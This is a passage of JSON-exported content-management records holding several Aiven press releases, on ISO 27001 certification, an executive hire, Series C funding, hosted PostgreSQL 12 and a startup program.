page"},{"_key":"c4184d425622","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"9962a333b582","_type":"internalLink","internalLink":{"_ref":"2vn5b8l7Fb2xZV3ZcqIr2B","_type":"reference"}},{"_key":"5bdede7b09f0","_type":"internalLink","internalLink":{"_ref":"02d777ab-2af1-4eac-b8e7-385a17dfadc5","_type":"reference"}}],"style":"normal"},{"_key":"TfoCYjrP","_type":"block","children":[{"_key":"cBLz2RGd","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"vJ0lbcXZ","_type":"block","children":[{"_key":"NmQzfXyr","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, MA, Aiven is an ISO 27001 certified Database-as-a-Service provider, operating managed open-source database, messenger, cache, search, and graphing solutions to over 300 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"PnL7CIP7","_type":"block","children":[{"_key":"VvUpbkk1","_type":"span","marks":[],"text":"You can visit "},{"_key":"gjMLl6Xs","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"DNjfAhNR","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"H0VgB6q6","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"d83qDT9O","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2018-06-04T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2018, we earned the ISO/IEC 27001:2013 certificate, attesting to our commitment to data and service security, integrity and confidentiality.","metaTitle":"Aiven commits to information security with ISO27001 certification"},"slug":{"_type":"slug","current":"/press/aiven-commits-to-information-security-with-iso27001-certification"},"subtitle":"Aiven Press Release: In 2018, we earned the ISO/IEC 27001:2013 certificate, attesting to our commitment to data and service security, integrity and confidentiality.","title":"Aiven commits to information security with ISO27001 certification"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7CM0J3KpQEwaHs1momWrt6","_rev":"THDGXgbtbTWNUZ8wxZjqEx","_type":"pressRelease","_updatedAt":"2023-05-15T13:17:42Z","body":"__Boston, Massachusetts__\n\n[Aiven](https://aiven.io), a startup that combines the best open source technologies with cloud infrastructure, announced that Larry Irvin joined the company as the new VP and general manager of its Americas operation. Irvin will be based out of Boston and head up the sales teams across the region with the goal of building out a sales network throughout the Americas, starting with Boston. He is the first major addition to the Aiven executive leadership outside of the company’s headquarters in Helsinki, Finland.\n\nThis strategic move follows Aiven’s recent [Series B](https://aiven.io/press/aiven-raises-40-million-series-b/), during which the company raised $40 million, bringing its total funding to $50 million. The funding will be used to expand the company’s footprint throughout the Americas, including hiring additional staff and opening an office in the San Francisco Bay area. Irvin plans to open additional regional sales offices across the U.S., first establishing support and sales teams in cities along the East Coast before stretching further West.\n\n“The culture that Aiven fosters in its Helsinki office is something I connected with and is what I want to bring to the U.S.,” Irvin said. “The company is in a thrilling growth phase, recently announcing a big Series B, and I couldn’t pass up the opportunity to lead Aiven’s growth initiatives in the Americas.”\n\nIrvin brings more than 25 years of sales and management experience with him to Aiven, and one of his main areas of expertise includes building sales networks from the ground up. Prior to joining Aiven, Irvin served as vice president of Northeast regional sales at Actifio, a cloud data management company, where he restructured the sales team and delivered triple digit growth. Other notable experience includes acting as the director of U.S. acquisition sales at Hewlett Packard Enterprise and the director of sales in New England at CommVault.\n\n“We’re thrilled to have Larry join the team here at Aiven,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “His track record of building high-performance sales divisions for tech companies in the U.S. is impressive. That’s a big reason why we brought him on board, because we see tremendous growth potential in the Americas.”\n\nTo learn more about Aiven’s leadership team, visit https://aiven.io/about.\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"mInDgazT","_type":"block","children":[{"_key":"8dfb4ad7c13a","_type":"span","marks":["strong"],"text":"BOSTON, Massachusetts — February 26, 2020-"},{"_key":"YIWMOp0G","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"lee4ADjQ","_type":"span","marks":[],"text":", a startup that combines the best open source technologies with cloud infrastructure, announced that Larry Irvin joined the company as the new VP and general manager of its Americas operation. Irvin will be based out of Boston and head up the sales teams across the region with the goal of building out a sales network throughout the Americas, starting with Boston. He is the first major addition to the Aiven executive leadership outside of the company’s headquarters in Helsinki, Finland."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"S0ShDNkg","_type":"block","children":[{"_key":"cxv7WDP0","_type":"span","marks":[],"text":"This strategic move follows Aiven’s recent "},{"_key":"YeHy269f","_type":"span","marks":["m792217054649"],"text":"Series B"},{"_key":"vt7irG1J","_type":"span","marks":[],"text":", during which the company raised $40 million, bringing its total funding to $50 million. The funding will be used to expand the company’s footprint throughout the Americas, including hiring additional staff and opening an office in the San Francisco Bay area. Irvin plans to open additional regional sales offices across the U.S., first establishing support and sales teams in cities along the East Coast before stretching further West."}],"markDefs":[{"_key":"m792217054649","_type":"link","href":"https://www.tfir.io/aiven-raises-40-million-in-series-b-funding/"}],"style":"normal"},{"_key":"5hsKEiNY","_type":"block","children":[{"_key":"t2oDVdH7","_type":"span","marks":[],"text":"“The culture that Aiven fosters in its Helsinki office is something I connected with and is what I want to bring to the U.S.,” Irvin said. “The company is in a thrilling growth phase, recently announcing a big Series B, and I couldn’t pass up the opportunity to lead Aiven’s growth initiatives in the Americas.”"}],"markDefs":[],"style":"normal"},{"_key":"VC8EW8CS","_type":"block","children":[{"_key":"81zZLpew","_type":"span","marks":[],"text":"Irvin brings more than 25 years of sales and management experience with him to Aiven, and one of his main areas of expertise includes building sales networks from the ground up. Prior to joining Aiven, Irvin served as vice president of Northeast regional sales at Actifio, a cloud data management company, where he restructured the sales team and delivered triple digit growth. Other notable experience includes acting as the director of U.S. acquisition sales at Hewlett Packard Enterprise and the director of sales in New England at CommVault."}],"markDefs":[],"style":"normal"},{"_key":"Jkz1oafN","_type":"block","children":[{"_key":"wbLDMaez","_type":"span","marks":[],"text":"“We’re thrilled to have Larry join the team here at Aiven,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “His track record of building high-performance sales divisions for tech companies in the U.S. is impressive. That’s a big reason why we brought him on board, because we see tremendous growth potential in the Americas.”"}],"markDefs":[],"style":"normal"},{"_key":"m5NRniTb","_type":"block","children":[{"_key":"ygZBSiLf","_type":"span","marks":[],"text":"To learn more about Aiven’s leadership team, visit https://aiven.io/about."}],"markDefs":[],"style":"normal"},{"_key":"66oMhO01","_type":"block","children":[{"_key":"glQPsKxg","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"lZtSvwn4","_type":"block","children":[{"_key":"KZ41uTpI","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"JSACg0sm","_type":"block","children":[{"_key":"LvSGl7OI","_type":"span","marks":[],"text":"You can visit "},{"_key":"8Y0Wr4hj","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"SHol2GM4","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"1vbNBT7V","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"6CL1z2r9","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2020-02-26T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Aiven Press Release: In February 2020, Larry Irvin joined the company as the new VP and general manager of its Americas operation.","metaTitle":"Larry Irvin appointed Aiven's VP and GM for the Americas"},"slug":{"_type":"slug","current":"/press/larry-irvin-joins-aiven-executive-team"},"subtitle":"Aiven Press Release: In February 2020, Larry Irvin joined the company as the new VP and general manager of its Americas operation.","title":"Larry Irvin joins Aiven’s executive team as VP and GM of the Americas"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"7Mc3njepm01ZFFO6SkDnDx","_rev":"fuFsKkOoAJwNVpPrIJwUH0","_type":"pressRelease","_updatedAt":"2022-12-07T13:41:42Z","content":[{"_key":"CDhp7G3V","_type":"block","children":[{"_key":"jTvwvM45","_type":"span","marks":["em"],"text":"Aiven’s existing investors increase capital investment to double down the company’s exponential growth and global open source innovation"}],"markDefs":[],"style":"normal"},{"_key":"Ntj7AXn7","_type":"block","children":[{"_key":"z1KYSdQ1","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — October 19, 2021-"},{"_key":"b4M0PBOf","_type":"span","marks":[],"text":" "},{"_key":"VUNqbxLc","_type":"span","marks":["m8361271684680"],"text":"Aiven"},{"_key":"7a8bHexO","_type":"span","marks":[],"text":", a software company that combines the best open source technologies with cloud infrastructure, today announced a $60M Series C extension at a $2B valuation, bringing the total Series C round to $160M. This extension brings Aiven's total funding to date to $210M. The round was co-led by existing investors World Innovation Lab and IVP, and with participation from Atomico and others. In a testament to the growth and potential Aiven showcases in its capabilities, a number of investors increased their capital commitments to Aiven just seven months after the company’s successful "},{"_key":"X1a4dG6k","_type":"span","marks":["m12595335872254"],"text":"$100 million Series C"},{"_key":"nKAyuleN","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m12595335872254","_type":"link","href":"https://aiven.io/press/aiven-raises-usd100m-series-c-to-expand-global-open-source-innovation"}],"style":"normal"},{"_key":"vhrirU70","_type":"block","children":[{"_key":"ggcMdSbx","_type":"span","marks":[],"text":"As the latest unicorn of the Nordics, Aiven is growing its revenue over 100% year on year and aims to continue maximizing its growth in a journey to becoming the global category leader in managed cloud data infrastructure. Aiven currently has more than 230 employees scaling global hubs from Helsinki, reaching Berlin, Boston, Toronto and Sydney. Following the fundraise, the company will expand its reach in the Asia-Pacific region by opening an office in Singapore."}],"markDefs":[],"style":"normal"},{"_key":"b4gLF6nH","_type":"block","children":[{"_key":"tlaCdrRJ","_type":"span","marks":[],"text":"“This is an exciting step for Aiven on our journey and indicates that our team is successfully delivering on our mission to champion open source and make the lives of developers better in all that we do,” said Oskari Saarenmaa, CEO and co-founder at Aiven. “The additional funding from our existing investors will allow us to rapidly expand our global footprint, significantly contribute to the open source community and support the growth of other tech startups.”"}],"markDefs":[],"style":"normal"},{"_key":"80PsgQer","_type":"block","children":[{"_key":"ighnO4kR","_type":"span","marks":[],"text":"In an effort to give back to the open source community, Aiven continues its open source investment with its recently launched open source program office, solely focused on contributing to the projects that are key to Aiven’s customers. Additionally, Aiven will support promising entrepreneurs and launch its own "},{"_key":"BMOViPxN","_type":"span","marks":["m1900822063714"],"text":"startup program"},{"_key":"0rIrDybZ","_type":"span","marks":[],"text":" in December. The program participants will get access to Aiven’s expertise and data platform for free for one year."}],"markDefs":[{"_key":"m1900822063714","_type":"link","href":"https://aiven.io/cluster"}],"style":"normal"},{"_key":"9N4lNTAe","_type":"block","children":[{"_key":"O7bPfOyg","_type":"span","marks":[],"text":"“Aiven has grown rapidly and become an emerging leader in the large, fast-growing data cloud market,” said Tsune Shirota, Partner at World Innovation Lab. “Aiven’s expertise in open source and cloud is deeply resonating with customers, as seen by its quickly growing and diverse customer base of over 700 companies in over 50 countries. We are excited to significantly increase our commitment and look forward to supporting Aiven’s growth and its effort to drive further innovation in the data cloud.”"}],"markDefs":[],"style":"normal"},{"_key":"rfhSPIVC","_type":"block","children":[{"_key":"iiRkcAIb","_type":"span","marks":[],"text":"“IVP originally invested in Aiven in January of 2020 behind a belief that the company's outstanding product and platform would enable companies of all sizes to manage their exploding data needs easily and efficiently,” said Eric Liaw, General Partner at IVP. “Under Oskari's leadership, the Aiven team is delivering tremendous value for their customers, and the proof is that the company has more than quadrupled since our original investment and growth is accelerating.”"}],"markDefs":[],"style":"normal"},{"_key":"K0wJvFVO","_type":"block","children":[{"_key":"MzauSHLV","_type":"span","marks":[],"text":"With Aiven’s fully-managed services for popular open source projects like Apache Kafka and Cassandra, OpenSearch, M3, PostgreSQL and more in the public cloud, businesses can have a modern, fully-functional open source data infrastructure from anywhere in the world in minutes. According to a recent "},{"_key":"k4sWpUs1","_type":"span","marks":["m10172113224109"],"text":"IDC whitepaper*"},{"_key":"YoEAuLt6","_type":"span","marks":[],"text":", companies leveraging Aiven’s offerings report a 340% ROI over three years thanks to reduced cost of using open source solutions, increased development team efficiency, as well as increased revenue through enhanced agility and scalability."}],"markDefs":[{"_key":"m10172113224109","_type":"link","href":"https://landing.aiven.io/whitepapers/the-business-value-of-aiven-data-cloud-solutions/"}],"style":"normal"},{"_key":"NQWnXykj","_type":"block","children":[{"_key":"Qet2e9QS","_type":"span","marks":[],"text":"For more information on Aiven, visit "},{"_key":"tYs87CvY","_type":"span","marks":["m8361271684680"],"text":"https://aiven.io/"},{"_key":"UR3gtIcm","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"}],"style":"normal"},{"_key":"Jfbqn3P0","_type":"block","children":[{"_key":"GGi6dmMT","_type":"span","marks":[],"text":"* "},{"_key":"Iezwqku8","_type":"span","marks":["em"],"text":"Source: IDC Business Value Snapshot, sponsored by Aiven, The Business Value of Aiven Data Cloud, doc #US48198621, August 2021"}],"markDefs":[],"style":"normal"},{"_key":"E6Mj1JoJ","_type":"block","children":[{"_key":"54rnnZrP","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"oooBo1fC","_type":"block","children":[{"_key":"uIROgmpP","_type":"span","marks":[],"text":"Headquartered in Helsinki and hubs in Berlin, Boston, Toronto and Sydney, Aiven provides managed open source data technologies, like PostgreSQL, Kafka and OpenSearch, on all major clouds. Through Aiven, developers can do what they do best: create applications. Meanwhile, Aiven does what they do best: manage cloud data infrastructure. Aiven enables customers to drive business results from open source that trigger true transformations far beyond their own backyard. To learn more about Aiven, visit "},{"_key":"gdljrJV2","_type":"span","marks":["m8361271684680"],"text":"aiven.io"},{"_key":"QZK4vfqL","_type":"span","marks":[],"text":" and follow "},{"_key":"TZH0kUDi","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"s9HGR8D8","_type":"span","marks":[],"text":" on Twitter."}],"markDefs":[{"_key":"m8361271684680","_type":"link","href":"https://aiven.io/"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"},{"_key":"0PAhd8Ny","_type":"block","children":[{"_key":"XBueBvzs","_type":"span","marks":["strong"],"text":"About World Innovation Lab (WiL)"},{"_key":"WVTRUyDN","_type":"span","marks":[],"text":" World Innovation Lab (WiL) is a US \u0026 Japan-based venture capital firm with capital from governments and leading global corporations in Japan and throughout Asia, including Sony, Suzuki, NTT, KDDI, and 7-Eleven. WiL helps US startups expand to Japan and Asia, and Japanese startups expand globally. With our corporate investors as partners, we invest in digital transformation. WiL direct company investments include Aiven, Asana, Auth0, DataRobot, Kong, MURAL, Sendbird, Wise, and Unqork. In addition to direct investment, WiL invests in exceptional venture funds - both established and emerging. Our mission is to be the bridge between startups and corporates across the globe - starting with Japan and the US. For more, visit "},{"_key":"2rysH0dy","_type":"span","marks":["m10431539491147"],"text":"wilab.com"},{"_key":"9zJxlO9k","_type":"span","marks":[],"text":" or "},{"_key":"RBUkTnme","_type":"span","marks":["m12921310165847"],"text":"twitter.com/wilabcom"}],"markDefs":[{"_key":"m10431539491147","_type":"link","href":"https://wilab.com/"},{"_key":"m12921310165847","_type":"link","href":"https://twitter.com/wilabcom"}],"style":"normal"},{"_key":"S5QtPVMI","_type":"block","children":[{"_key":"TZfApLOZ","_type":"span","marks":["strong"],"text":"About IVP"}],"markDefs":[],"style":"normal"},{"_key":"k8Lndc72","_type":"block","children":[{"_key":"SMD7jOWo","_type":"span","marks":[],"text":"Founded in 1980, IVP is one of the premier later-stage venture capital and growth equity firms in the United States. IVP has invested in over 400 companies, 126 of which have gone public. IVP is one of the top-performing firms in the industry and has a 40-year IRR of 43.1%. IVP specializes in venture growth investments, industry rollups, founder liquidity transactions, and select public market investments. IVP investments include such notable companies as Amplitude (AMPL), AppDynamics (CSCO), Attentive, Brex, Coinbase (COIN), Compass (COMP), CrowdStrike (CRWD), Datadog (DDOG), Discord, Dropbox (DBX), GitHub (MSFT), Glossier, Grammarly, HashiCorp, Hims \u0026 Hers (HIMS), Hopin, Klarna, LegalZoom (LZ), Looker (GOOGL), Marketo (MKTO), MasterClass, Mindbody (MB), MuleSoft (CRM), Netflix (NFLX), Niantic, Podium, Robinhood (HOOD), Rubrik, Slack (WORK), Snap (SNAP), Supercell (Tencent), Twitter (TWTR), UiPath (PATH), Wise (WISE), ZipRecruiter (ZIP), and Zynga (ZNGA). For more information, visit "},{"_key":"sOkhmx9g","_type":"span","marks":["m14481166898348"],"text":"www.ivp.com"},{"_key":"u0IGIIc8","_type":"span","marks":[],"text":" or follow IVP on Twitter "},{"_key":"JPUpN3XJ","_type":"span","marks":["m8680393508200"],"text":"@ivp"},{"_key":"99vXRyb4","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m14481166898348","_type":"link","href":"https://www.ivp.com/"},{"_key":"m8680393508200","_type":"link","href":"https://twitter.com/ivp"}],"style":"normal"},{"_key":"6J9l7gek","_type":"block","children":[{"_key":"fjwc0DQ5","_type":"span","marks":["strong"],"text":"Media Contact"}],"markDefs":[],"style":"normal"},{"_key":"46KRAbTa","_type":"block","children":[{"_key":"fBTujumw","_type":"span","marks":[],"text":"Megan Gasper - Walker Sands - megan.gasper@walkersands.com"}],"markDefs":[],"style":"normal"},{"_key":"e84VWBoK","_type":"block","children":[{"_key":"Rh4dPw8D","_type":"span","marks":[],"text":"Anniina Sulku - Head of Communications, Aiven - anniina.sulku@aiven.io"}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-10-19T00:00:00.000Z","seo":{"_type":"metaData","metaDescription":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","metaTitle":"Aiven Achieves $2B Unicorn Valuation with its Series C"},"slug":{"_type":"slug","current":"/press/aiven-achieves-usd2b-unicorn-valuation-with-its-series-c-extension"},"subtitle":"With its most recent funding round, Aiven plans to deepen its investment in open source software and further expand globally. ","title":"Aiven Achieves $2B unicorn valuation with its Series C extension"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"C5xQIYMUEGRCe6hgpdRk4","_rev":"5iTZEBNHx5PwgJLwP8XpCM","_type":"pressRelease","_updatedAt":"2022-12-02T11:50:52Z","body":"__Helsinki, Finland__\n\n[Aiven](https://aiven.io), a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will be the first provider to offer PostgreSQL 12 as a service in public clouds. Aiven’s hosted PostgreSQL 12 offers improved indexes that take up less space, allowing organizations to manage additional workloads and increase productivity.\n\nAiven currently provides PostgreSQL as a managed database hosted on any cloud offering such as AWS, Azure and Google Cloud. Aiven for PostgreSQL 12 offers security and performance updates, including improved query performance on tables with thousands of partitions, improved insertion performance and the ability to run partitions without encountering blocking queries.\n\nThrough Aiven’s hosted PostgreSQL 12 offering, organizations now have easier and quicker access to unstructured data - allowing them to build larger databases and accommodate new use cases in markets such as manufacturing and IoT.\n\n“Organizations are always looking to increase their database performance and improve workload productivity and scalability, all of which are possible with PostgreSQL 12,” said Hannu Valtonen, VP of Product. “Aiven has always been proud to be the first to offer open source database solutions and updates to its customers, and we’re excited to see the same success with PostgreSQL’s newest release.”\n\nPostgreSQL has been a leader in open source development for over 20 years, providing easy to use database systems that fit any organization’s needs. One of these updates is the ability and support for JSON path language, which allows users to perform operations and search within JSON language and documents.\n\nThis addition makes it simpler for organizations to use PostgreSQL across all of its applications and access unstructured data. Aiven was able to adopt these new updates quickly and securely within its service and cloud offerings, which will allow businesses to use PostgreSQL 12 without software complications and manage more datasets.\n\nGartner predicts that by 2022, [75% of all databases will be deployed or migrated to a cloud platform](https://www.gartner.com/en/documents/3941821). With Aiven’s expertise in managing open source databases in the cloud, companies can employ the updated PostgreSQL 12 for new and complex use cases that need the flexibility of PostgreSQL and scalability of the cloud.\n\n“At Aiven, we strive to provide database solutions like PostgreSQL that meet the needs of large and small organizations and are easy to use,” said Valtonen. “We’re thrilled to announce our ability to host the PostgreSQL 12 update, a continuance of Aiven’s excellent service and management options required by today’s organizations.”\n\nTo learn more about Aiven for PostgreSQL 12, visit [https://aiven.io/postgresql](https://aiven.io/postgresql).\n\n__About Aiven__\n\nHeadquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide.\n\nYou can visit [https://aiven.io](https://aiven.io) for more information or follow Aiven on Twitter: [@aiven_io](https://twitter.com/aiven_io).","content":[{"_key":"cYguCew0","_type":"block","children":[{"_key":"8bea0047df03","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — November 19, 2019-"},{"_key":"CHbeFEoz","_type":"span","marks":["m3875742048231"],"text":"Aiven"},{"_key":"svYEj9tE","_type":"span","marks":[],"text":", a leading cloud technology startup providing a portfolio of managed database and stream processing products, announced today the company will be the first provider to offer PostgreSQL 12 as a service in public clouds. Aiven’s hosted PostgreSQL 12 offers improved indexes that take up less space, allowing organizations to manage additional workloads and increase productivity."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"}],"style":"normal"},{"_key":"XJPgwjWf","_type":"block","children":[{"_key":"HoKKO4IZ","_type":"span","marks":[],"text":"Aiven currently provides PostgreSQL as a managed database hosted on any cloud offering such as AWS, Azure and Google Cloud. Aiven for PostgreSQL 12 offers security and performance updates, including improved query performance on tables with thousands of partitions, improved insertion performance and the ability to run partitions without encountering blocking queries."}],"markDefs":[],"style":"normal"},{"_key":"GCoNxkFu","_type":"block","children":[{"_key":"tmvH9scI","_type":"span","marks":[],"text":"Through Aiven’s hosted PostgreSQL 12 offering, organizations now have easier and quicker access to unstructured data - allowing them to build larger databases and accommodate new use cases in markets such as manufacturing and IoT."}],"markDefs":[],"style":"normal"},{"_key":"qcUpR93E","_type":"block","children":[{"_key":"CDiTVmXd","_type":"span","marks":[],"text":"“Organizations are always looking to increase their database performance and improve workload productivity and scalability, all of which are possible with PostgreSQL 12,” said Hannu Valtonen, VP of Product. “Aiven has always been proud to be the first to offer open source database solutions and updates to its customers, and we’re excited to see the same success with PostgreSQL’s newest release.”"}],"markDefs":[],"style":"normal"},{"_key":"fRYGUDUF","_type":"block","children":[{"_key":"JEC22AII","_type":"span","marks":[],"text":"PostgreSQL has been a leader in open source development for over 20 years, providing easy to use database systems that fit any organization’s needs. One of these updates is the ability and support for JSON path language, which allows users to perform operations and search within JSON language and documents."}],"markDefs":[],"style":"normal"},{"_key":"xfJFfM7h","_type":"block","children":[{"_key":"anOyDTDl","_type":"span","marks":[],"text":"This addition makes it simpler for organizations to use PostgreSQL across all of its applications and access unstructured data. Aiven was able to adopt these new updates quickly and securely within its service and cloud offerings, which will allow businesses to use PostgreSQL 12 without software complications and manage more datasets."}],"markDefs":[],"style":"normal"},{"_key":"1wxbGsXw","_type":"block","children":[{"_key":"yeCMzrV8","_type":"span","marks":[],"text":"Gartner predicts that by 2022, "},{"_key":"MUlgBd4C","_type":"span","marks":["m5468332480793"],"text":"75% of all databases will be deployed or migrated to a cloud platform"},{"_key":"6OMgIkja","_type":"span","marks":[],"text":". With Aiven’s expertise in managing open source databases in the cloud, companies can employ the updated PostgreSQL 12 for new and complex use cases that need the flexibility of PostgreSQL and scalability of the cloud."}],"markDefs":[{"_key":"m5468332480793","_type":"link","href":"https://www.gartner.com/en/documents/3941821"}],"style":"normal"},{"_key":"qDePdFDj","_type":"block","children":[{"_key":"JigM8zZt","_type":"span","marks":[],"text":"“At Aiven, we strive to provide database solutions like PostgreSQL that meet the needs of large and small organizations and are easy to use,” said Valtonen. “We’re thrilled to announce our ability to host the PostgreSQL 12 update, a continuance of Aiven’s excellent service and management options required by today’s organizations.”"}],"markDefs":[],"style":"normal"},{"_key":"elxO0UAm","_type":"block","children":[{"_key":"rVXFCQnT","_type":"span","marks":[],"text":"To learn more about Aiven for PostgreSQL 12, visit "},{"_key":"tlYc7nrt","_type":"span","marks":["m5814761259150"],"text":"https://aiven.io/postgresql"},{"_key":"E3mWahnj","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m5814761259150","_type":"link","href":"https://aiven.io/postgresql"}],"style":"normal"},{"_key":"HZ4eIEiJ","_type":"block","children":[{"_key":"1Zyh4gl8","_type":"span","marks":["strong"],"text":"About Aiven"}],"markDefs":[],"style":"normal"},{"_key":"rRr4M3pu","_type":"block","children":[{"_key":"0zmuemSF","_type":"span","marks":[],"text":"Headquartered in Helsinki, Finland and with offices in Boston, Berlin and Sydney, Aiven is an ISO 27001 and SOC 2 certified cloud data platform provider, operating managed open-source database, event streaming, cache, search, and graphing solutions for over 500 customers worldwide."}],"markDefs":[],"style":"normal"},{"_key":"z90XgjUM","_type":"block","children":[{"_key":"hESc9Cxz","_type":"span","marks":[],"text":"You can visit "},{"_key":"PS0T6Tu0","_type":"span","marks":["m3875742048231"],"text":"https://aiven.io"},{"_key":"yGEWbOaf","_type":"span","marks":[],"text":" for more information or follow Aiven on Twitter: "},{"_key":"rjtYfNks","_type":"span","marks":["m17467540486251"],"text":"@aiven_io"},{"_key":"OvdKDPly","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3875742048231","_type":"link","href":"https://aiven.io"},{"_key":"m17467540486251","_type":"link","href":"https://twitter.com/aiven_io"}],"style":"normal"}],"publishedAt":"2019-11-19T00:00:00.000Z","seo":{"metaDescription":"Aiven Press Release: In 2019, we became the first cloud service to provide fully hosted and managed PostgreSQL 12, an open source database becoming a de facto industry standard.","metaTitle":"Aiven becomes first cloud service to provide hosted PostgreSQL 12"},"slug":{"_type":"slug","current":"/press/aiven-first-to-provide-hosted-postgresql-12"},"subtitle":"Aiven Press Release: In 2019, we became the first cloud service to provide fully hosted and managed PostgreSQL 12, an open source database becoming a de facto industry standard.","title":"Aiven becomes first cloud service to provide hosted PostgreSQL 12"} {"__i18n_lang":"en","_createdAt":"2022-06-17T22:42:59Z","_id":"HQATpqXvPUqetrIAOFjen","_rev":"ElrRHx5al3kb1PwLXH8NC8","_type":"pressRelease","_updatedAt":"2022-12-02T12:48:42Z","content":[{"_key":"85wY2Hv0","_type":"block","children":[{"_key":"9a9cdb77a8c4","_type":"span","marks":["strong"],"text":"HELSINKI, Finland — December 1, 2021"},{"_key":"591I11Og","_type":"span","marks":[],"text":" – Today, Aiven, a software company that combines open source technologies with cloud infrastructure, has opened applications for its new startup program, to aid emerging startups scale fast. The free scheme provides startups with access to market-leading data infrastructure and access to Aiven’s support and expertise, allowing them to focus on their core business."}],"markDefs":[],"style":"normal"},{"_key":"c5bQ0jrX","_type":"block","children":[{"_key":"fMUWc8Of","_type":"span","marks":[],"text":"Startup programs are cornerstones for a multitude of businesses, imparting expertise and resources that help to drive innovation and growth. Aiven’s involvement in a startup program provided a strong foundation for its success story."}],"markDefs":[],"style":"normal"},{"_key":"ruz2kMm6","_type":"block","children":[{"_key":"OFuGk5ay","_type":"span","marks":[],"text":"Aiven’s CEO Oskari Saarenmaa comments: “For most businesses, the initial years are both the most important and most challenging. The requirement to build technological infrastructure and other frameworks that are necessary for day-to-day operations take away time and resources that could otherwise be spent on value-add tasks that can contribute to the growth of the company."}],"markDefs":[],"style":"normal"},{"_key":"XmEfQPFw","_type":"block","children":[{"_key":"xJMLTudn","_type":"span","marks":[],"text":"“At Aiven we understand that startups need faster time to market, robust tools, and total control of their data to gain competitive advantage. Startups need to have confidence that their tech stack will just work without anyone having to waste time babysitting it. That’s time away from what matters for them. And as they focus on scaling quickly, it's critical the tech stack isn’t a bottleneck for growth.”"}],"markDefs":[],"style":"normal"},{"_key":"rqBdINJm","_type":"block","children":[{"_key":"1oGnYf8k","_type":"span","marks":[],"text":"With a strong track record of giving back to the open source community through its open source program office (OSPO), Aiven is looking to further drive innovation in the wider technology community through the launch of Aiven’s Startup Program, Cluster."}],"markDefs":[],"style":"normal"},{"_key":"FM7OYZBH","_type":"block","children":[{"_key":"uKA0GGU5","_type":"span","marks":[],"text":"The full benefits of the program include:"}],"markDefs":[],"style":"normal"},{"_key":"TKOZGSsu","_type":"block","children":[{"_key":"5jLKf93n","_type":"span","marks":[],"text":"$100,000 Aiven credits for 12 months"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"M86c3NBZ","_type":"block","children":[{"_key":"ctwti0hM","_type":"span","marks":[],"text":"Access to Aiven’s expertise and knowledge"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"0vsd50Si","_type":"block","children":[{"_key":"rjrsylFC","_type":"span","marks":[],"text":"Aiven solutions and technical support"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1jlPrGPY","_type":"block","children":[{"_key":"GeDgf1bi","_type":"span","marks":[],"text":"Virtual events about products and practical use 